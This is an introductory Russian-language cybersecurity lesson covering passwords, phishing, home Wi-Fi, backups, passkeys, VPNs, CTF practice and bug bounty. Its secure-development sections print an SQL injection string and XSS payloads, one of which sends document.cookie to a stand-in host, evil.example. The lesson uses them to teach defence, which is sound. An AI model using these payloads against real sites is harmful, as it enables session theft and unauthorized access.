Основы кибербезопасности

1. Зачем нужна безопасность

Уязвимость чаще всего связана не с хакерами из фильмов, а с простыми вещами: слабым паролем, повторным использованием пароля, фишинговым письмом или забытым обновлением. Злоумышленнику не нужно быть гением — достаточно найти незакрытую дверь.

Что может потерять обычный человек:

• доступ к почте и мессенджерам — оттуда рассылают спам от вашего имени;
• деньги: мошенники выводят средства через онлайн-банк;
• личные данные: паспорт, документы и фото уходят в распоряжение злоумышленников;
• рабочие данные компании — если взломали рабочий аккаунт.

2. Пароли и двухфакторная аутентификация

Главное правило: у каждого сервиса свой уникальный пароль. Если один сайт утёк, остальные аккаунты должны остаться в безопасности.

Надёжный пароль — это длинный случайный набор символов. Простые слова, даты рождения и «qwerty123» подбираются за секунды.

# сгенерировать надёжный пароль (Python 3)
import secrets, string
alphabet = string.ascii_letters + string.digits + string.punctuation
password = ''.join(secrets.choice(alphabet) for _ in range(16))
print(password)

Пароли храните в менеджере паролей: Bitwarden, KeePassXC или встроенном хранилище браузера. Запоминать придётся только один мастер-пароль.

3. Фишинг и социальная инженерия

Фишинг — это поддельные письма, сайты и сообщения, которые выглядят как настоящие и выманивают пароль или данные карты. Социальная инженерия — тот же приём, но «через людей»: мошенник звонит или пишет от имени техподдержки.

Типичная схема: приходит письмо «Ваш аккаунт заблокирован, подтвердите пароль» со ссылкой на сайт, который выглядит один в один как настоящий.

4. Безопасность Wi-Fi и домашней сети

Домашняя точка доступа защищает все устройства в квартире, поэтому ей стоит уделить внимание.

• используйте шифрование WPA2 или WPA3 — WEP взламывается почти мгновенно;
• смените заводской пароль роутера и логин администратора;
• заведите гостевую сеть без доступа к вашим устройствам — для гостей и умного дома;
• отключите WPS, если не пользуетесь им.

# Linux: посмотреть доступные сети и уровень шифрования
nmcli dev wifi list
# подключиться к сети с именем MyHome
nmcli dev wifi connect MyHome password 'ваш-пароль'

5. Безопасность устройств

Телефон, ноутбук и планшет — это мини-банки с данными. Базовые настройки:

• экран блокируется PIN-кодом или биометрией;
• шифрование диска включено (на мобильных — по умолчанию);
• приложения устанавливаются только из официальных магазинов;
• включены функции «найти устройство»: Find My, Найти устройство.

6. Безопасная разработка: SQL-инъекции

Если введённые пользователем данные склеиваются со строкой SQL-запроса, злоумышленник может «дописать» свой код к вашему запросу.

-- уязвимо: данные пользователя вставлены прямо в запрос
SELECT * FROM users WHERE login = 'admin' AND password = '123'

-- злоумышленник вместо пароля вводит:  ' OR '1'='1
SELECT * FROM users WHERE login = 'admin' AND password = '' OR '1'='1'

Лечится параметризованными запросами: тогда введённые данные никогда не трактуются как код.

# Python + sqlite3: параметризованный запрос (безопасно)
cursor.execute(
    "SELECT * FROM users WHERE login = ? AND password = ?",
    (login, password),
)

7. Безопасная разработка: XSS

XSS — это внедрение скрипта в страницу, который выполняется в браузере другого пользователя. Чаще всего атака идёт через поле комментария, имя пользователя или URL.

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">

Защита: не выводить пользовательский HTML как есть, экранировать угловые скобки и пользоваться встроенной защитой фреймворков — автоэкранированием шаблонов Django, safe-функциями React и так далее.

8. Регулярные обновления

Обновления закрывают уже найденные уязвимости. Откладывая их, вы оставляете систему открытой для атак, описание которых публично доступно.

• ОС и браузер — обновляйте автоматически;
• приложения — только из официального источника;
• на серверах включите автоматические патчи безопасности для ОС и пакетов.

9. Резервные копии

Резервные копии спасают данные при вирусе-шифровальщике, отказе диска или потере устройства. Правило 3-2-1: три копии данных, на двух разных носителях, одна из них — вне дома.

# пример: еженедельный бэкап папки проекта (Linux, rsync)
rsync -av --delete /home/user/projects/ /backup/projects/

• фото и документы — облако плюс локальный диск;
• код — Git-репозиторий на GitHub или GitLab;
• базы данных — регулярные дампы и проверка их восстановления.

10. Приватность в интернете

Приватность — это осознанный контроль над тем, какие данные о вас собирают сервисы.

• проверьте настройки приватности в соцсетях: профиль и фото видны только нужным людям;
• отключите лишние разрешения приложений: геолокацию, доступ к контактам;
• используйте отдельные почтовые адреса для регистраций;
• ограничивайте отслеживание: приватные окна, блокировщики трекеров, VPN.

11. Защита от фишинга и социальной инженерии

Фишинг — самый массовый вектор атак: злоумышленники подделывают письма и сайты, чтобы выманить пароли и деньги. Технические меры бессильны, если сотрудник сам отдал доступ.

• проверяйте адрес отправителя и полное доменное имя, а не только имя в отправителе;
• не переходите по ссылкам из письма — заходите на сайт вручную;
• официальные сервисы никогда не просят пароль, код из SMS и банковские данные;
• внешние письма отображайте особым предупреждением в почте.

// признаки подозрительного письма
1. срочность и угроза блокировки аккаунта
2. вложение типа invoice_final.docm
3. адрес отправителя с опечаткой (@гmail.com)
4. ссылка на домен, похожий, но не тот

12. Шифрование и безопасность Wi-Fi

Домашний роутер и публичные сети — часть корпоративного контура. Незашифрованный Wi-Fi позволяет перехватывать трафик соседям и «ловушкам» злоумышленников.

• обязательно WPA3/ WPA2-PSK и уникальный пароль — «qwerty123» экранируется за минуты;
• SNMP, удалённое управление и WPS на роутере выключайте;
• публичный Wi-Fi — только с VPN или HTTPS-соединением;
• гостевую сеть включайте для умных устройств, отдельно от рабочих.

// безопасность домашней сети
WPA3-Personal
смена заводского пароля роутера
отключён WPS
обновлённая прошивка роутера
гигиена: VPN на публичном Wi-Fi

13. Планирование действий при инциденте

Скорейший выход из инцидента — заранее продуманный план, а не паника. Реакция за 20 минут часто сводит ущерб к минимуму.

// порядок действий (incident response)
1. зафиксировать факт и время, изолировать устройство
2. сменить пароли ключевых учёток (критично!)
3. отключить удалённый доступ и подозрительные сессии
4. собрать логи и бэкапы для разбора
5. уведомить ответственных (банк, договорные системы)
6. разобрать причину и план предотвращения

14. Принцип наименьших привилегий

Суть принципа в одном предложении: каждый пользователь и процесс получает ровно те права, которые нужны для работы, и ни байтом больше. Реализуется он постепенно, на всех уровнях.

• обычные задачи — из учётки без прав администратора;
• админ-задачи — через отдельное повышение прав, а не «постоянный root»;
• доступ к серверам и БД — по ролям, а не «всем подряд»;
• сервисы и приложения работают от своих учётных записей с ограниченными правами.

// Linux: рабочий пользователь без sudo
sudo useradd -m -s /bin/bash operator
sudo install -d -o operator /srv/app
// права на повышение — только у админа

15. FIDO2 и Passkeys: беспарольный вход

Пароли — главная боль безопасности: их воруют, переиспользуют и угадывают. Альтернатива — passkeys на стандарте FIDO2: устройство подписывает вход криптографическим ключом, а подтверждение происходит по биометрии или PIN.

// суть WebAuthn: сервер хранит только открытый ключ
// регистрация: browser.generateKeyPair()
// вход:        server.challenge() → device.sign()
// проверка:    crypto.verify(pubkey, signature)

Привязанный к аккаунту passkey не утекает: даже если база паролей сервиса сольётся, подделать подпись без вашего устройства нельзя. Плюс — устойчивость к фишингу: поддельный сайт не получит подпись под настоящим доменом.

16. VPN и удалённый доступ

VPN шифрует трафик между вашим устройством и доверенной точкой, поэтому публичный Wi-Fi перестаёт быть «прозрачным» для соседей по сети. Для работы из дома место VPN занимает корпоративный туннель.

// SSH-туннель: локальный порт → сервер → внутренний сервис
ssh -J jump.example.com -L 9080:db.internal:5432 user@server

// WireGuard — современный быстрый туннель
wg-quick up wg0

• личный VPN-сервис шифрует весь трафик, но доверие переносится к самому сервису;
• корпоративные VPN-шлюзы изолируют рабочую сеть от интернета;
• SSH-туннели открывают доступ к отдельным сервисам без полной сетевой абстракции.

17. Первые шаги в кибербезопасности

Из пользователя с привычками безопасность вырастает в профессию. Начать можно с базовых ролей, где нужны админские навыки и разбор инцидентов.

// инвентаризация сети — один из первых навыков (nmap)
nmap -sV -p- 10.0.0.5

Полезные привычки: документировать находки, читать чужой код на уязвимости, разбирать реальные инциденты и не светить в портфолио данные, к которым нет доступа.

18. OSINT: что о вас собирают из открытых источников

OSINT — разведка по открытым данным: профили соцсетей, базы утечек, регистрации, документы. Это легальный инструмент расследований, но он же показывает, насколько «прозрачна» личная информация.

• GitHub-профиль выдаёт рабочие привычки, почты, имена серверов;
• по геометкам фото можно восстановить маршруты и местоположение;
• зарегистрированные домены и WHOIS выдают организацию;
• утечки паролей из старых сервисов злоумышленники бьют по вашим аккаунтам.

Найти себя: Have I Been Pwned (email), dehashed прямо
не используйте без нужды; проверяйте себя раз в полгода.

19. Социальная инженерия в деталях

У взлома есть дешёвая альтернатива техническим атакам: обмануть человека. Схемы, которые работают, описаны ниже — их цель всегда одна: заставить вас сделать действие.

Общие правила: срочность без паузы — красный флаг; любой перевод «во избежание» — мошенничество; код подтверждения никому не сообщайте, даже «сотруднику банка».

Первое правило спецслужб любого масштаба:
умный мошенник тратит время, чтобы сделать вас спокойным.

20. Практика: CTF и учебные полигоны

Теория не проверяется без практики. CTF-задачи (Capture The Flag) — безопасная тренировка: легальные песочницы, где можно ломать всё, ничего не нарушая.

• picoCTF — простые задачи с разбором, курс из школьников до студентов;
• HackTheBox / TryHackMe — виртуальные машины для взлома в песочнице;
• OverTheWire — пошаговые варгеймы по Linux и сетям;
• бесплатные CTF студентов и компаний (RU-CTF, MosCTF).

21. Bug bounty и ответственное раскрытие

Bug bounty — программа, где владелец сервиса платит за найденные уязвимости по его правилам. Это легальный способ зарабатывать на безопасности и учиться на реальных продуктах.

• ищите программы на платформах HackerOne, Bugcrowd, против платных заказов сообществ;
• правильно настроенный scope: тестировать можно только перечисленные домены;
• отчёт: шаги воспроизведения, скриншоты, ущерб — без мусора;
• ответственное раскрытие (Responsible Disclosure): нашёл уязвимость вне программы — сообщи, дай срок на фикс, не публикуй раньше.

Шаблон отчёта:
1) уязвимость и её класс
2) шаги воспроизведения (сайт: /admin, параметр id)
3) билд/версия
4) влияние (что может сделать злоумышленник)
5) предлагаемый фикс

Что дальше

Закрепите привычки из урока: менеджер паролей, 2FA, бэкапы. Для веб-разработки следующий шаг — разбор самых опасных уязвимостей приложений в уроке OWASP Top 10. Также полезно изучить Linux и Git — на них строится работа с серверами и кодом.

← Вернуться к курсам